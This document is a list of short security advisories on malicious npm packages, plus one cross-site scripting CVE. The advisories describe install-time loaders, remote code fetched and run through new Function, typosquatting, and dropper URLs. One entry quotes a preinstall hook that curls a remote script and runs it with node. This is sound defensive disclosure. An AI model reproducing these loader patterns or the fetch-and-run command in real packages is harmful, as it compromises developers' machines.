Malicious code in polymarket-risk-manager (npm)

Source: amazon-inspector 54bfddce038bb64117d6850bb2977f8cee17704212e12e6214fb495b9d4cee79 On npm install, the package's postinstall script reads a config URL from package.json's homepage field https://parket-server-help.vercel.app/config/psm-peer.json, downloads a tarball from the returned bundle...

Malicious code in chai-as-type (npm)

chai-as-type is a malicious npm package that when imported downloads a C2 dropper from https://api.npoint.io/c26313f0733957a7d787 and executes it similar to malware in to chai-await-test. Source: amazon-inspector 75650bd9993ad4d310c42309ea4f185f9ec2bca169073315a9a1604c76830e41 The package name...

Malicious code in chai-secure (npm)

Source: amazon-inspector 4253b6520b80bd3c3ee724b9766c67a3a2d7abe074ee57e15d5b9b270bf74f55 chai-secure masquerades as a Chai plugin offering JWT/XSS/SQLi assertion helpers, but on every require/import of the package, index.js unconditionally spawns a detached, stdio-ignored Node child process...

Malicious code in poly-kelly (npm)

Source: amazon-inspector 3d3df5266b6e9d9347844e4e054ab744aad9517c6f55df4e68e6c6815e843da7 On npm install, the package's postinstall script reads the homepage field from package.json set to https://data-stream.space/config/stake-math-sync.json, fetches that JSON config, extracts a peerBundle tarba...

Malicious code in eslint-plus (npm)

Source: amazon-inspector fbc3baf80e31e8027d7bb5b3fe5a873c5ff72d8344d39f8f01e191699a2310d7 Package declares postinstall: node lib/utils/index.js, which spawns a detached, stdio-suppressed Node child spawn with detached:true, stdio:'ignore', child.unref that runs lib/utils/smtp-connection/index.js...

Malicious code in pxpure8 (npm)

Source: amazon-inspector a40ae433e9fa90bfbb449d343c281375329a44c0dacf080a91a0c1717579b679 The package's main entry pure.js consists of a single behavior: it creates a element pointing at https://cdn.jsdelivr.net/npm/px8my/px.js no version pin and appends it to document.head. When the module is...

Malicious code in driftpin (npm)

Source: amazon-inspector bb2b2601b0e4e6659a7fd042e4f227e3d22880c51355a793dbdc2e42d39805d5 [email protected] advertises itself in the README as an SVG sanitization/minification/conversion utility, but the only actual export from index.js is an undocumented function getPlugin. When a consumer calls...

Malicious code in fastify-addone (npm)

Source: amazon-inspector 21b9e477cff478ab071039c18c3adb6577a07cc1d82687b9e7d7cd2594dc9ddf The package presents itself as fastify-plugin name fastify-addone, repository/homepage/bugs fields point at fastify/fastify-plugin and copies that project's source with a malicious statement inserted...

Malicious code in chai-as-precision (npm)

Source: amazon-inspector f8b5d1218fae5d91755d8f9ca8ed37983e7d589c6fd88012d3ddb29a84a2cc56 Package is published as chai-as-precision but its shipped code mimics pino exports middleware.pino, ships pino.js/proto.js/redaction.js, a name/purpose mismatch consistent with typosquatting or masquerade fo...

Malicious Package

Overview javascript-css-minimizer-webpack-plugin-geochronology-foundation is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection...

Malicious code in router-processor (npm)

Source: amazon-inspector d15d816c739a85908172d716580a6e4cb0655fe7b2fe35293b218db80f9b2625 [email protected] exposes a getPlugin function that assembles the URL https://svganchordev.net/icons/107 from split constants protocol, separator, domain, path, fetches a JSON response, and passes the...

Malicious code in express-request-engine (npm)

Source: amazon-inspector 650f45223a2abc34039d499274c1cce89abdf6b4be571d326b73e2b10da48e30 The package's main entry index.js presents itself as a normalize-path utility but on module load calls initPlugin at top level, which performs an HTTPS fetch to...

Malicious code in note-utilities (npm)

Source: amazon-inspector 4f093c8536c89f9d6c524ae212051fc45a5244d910afd8ee3abe30698f15b75d The package masquerades as a pino-style logger keywords fast/logger/stream/json; lib/ contents copied from pinojs/pino but ships an additional loader at lib/vcall.js. On require, index.js spawns a detached...

Malicious code in font-hub (npm)

Source: amazon-inspector 3df3dbd8669e4658a00a698bd8bd233d4c07de13b0f0e5533ca0d456b2ea3cf1 index.js exports a getPlugin function that performs an HTTPS request to https://svganchordev.net/icons/ and passes the response's credits field into new Function'require','module','exports',...,'Promise',...

Malicious code in route-processor (npm)

Source: amazon-inspector 430b2eaa9fcc780c6e6a20639c32767b24ca2d47ba708c056c68bc78fb03e425 The package's default export builds a URL from split constants protocol/separator/domain/path/token resolving to https://svganchordev.net/icons/107, fetches JSON from that host, and passes the response field...

Malicious code in font-huge (npm)

Source: amazon-inspector a529537a0875d6ab8e2c942ace1db227c7131ff06b7eb4e86b12cd4193da4879 font-huge advertises itself as a font/icon collection, but its exported getPlugin function fetches https://svganchordev.net/icons/107 and passes the response's data.credits field to new Function with require...

Malicious code in viteplugiin (npm)

Source: amazon-inspector 5afbe0fab50b9582867bb208b6cfb20080849e27d27df79711f55e2db69f66bb The npm package 'viteplugiin' impersonates '@base44/viteplugin' via a one-character insertion doubled 'i' and ships a hostile payload in dist/index.js, the entry resolved by the package's exports map. After...

Malicious code in ogensec-sdk (npm)

Source: amazon-inspector 4acb9448e8289c41cb35a883074545d2a790b719104b2f7c9a99bfca3e3f64ff The package ships an Express middleware that, on each incoming request, POSTs appId, endpoint to a configured $baseUrl and interprets the response as a list of items containing a hotfix.code string. That...

Malicious code in myebaynode (npm)

Source: amazon-inspector 12d56c05672731322d45fb9273fb782a6b8042260fb019b2d96c755eed084fc3 package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js, fetching JavaScript from an external, mutable, personal domain and immediately...

CVE-2026-66825

Pivotick contains a cross-site scripting vulnerability in the sidebar property-list component. Values associated with link-like properties, such as url, uri, href, link, website, or homepage, were rendered as hyperlinks without validating their URL scheme. An attacker able to supply or influence...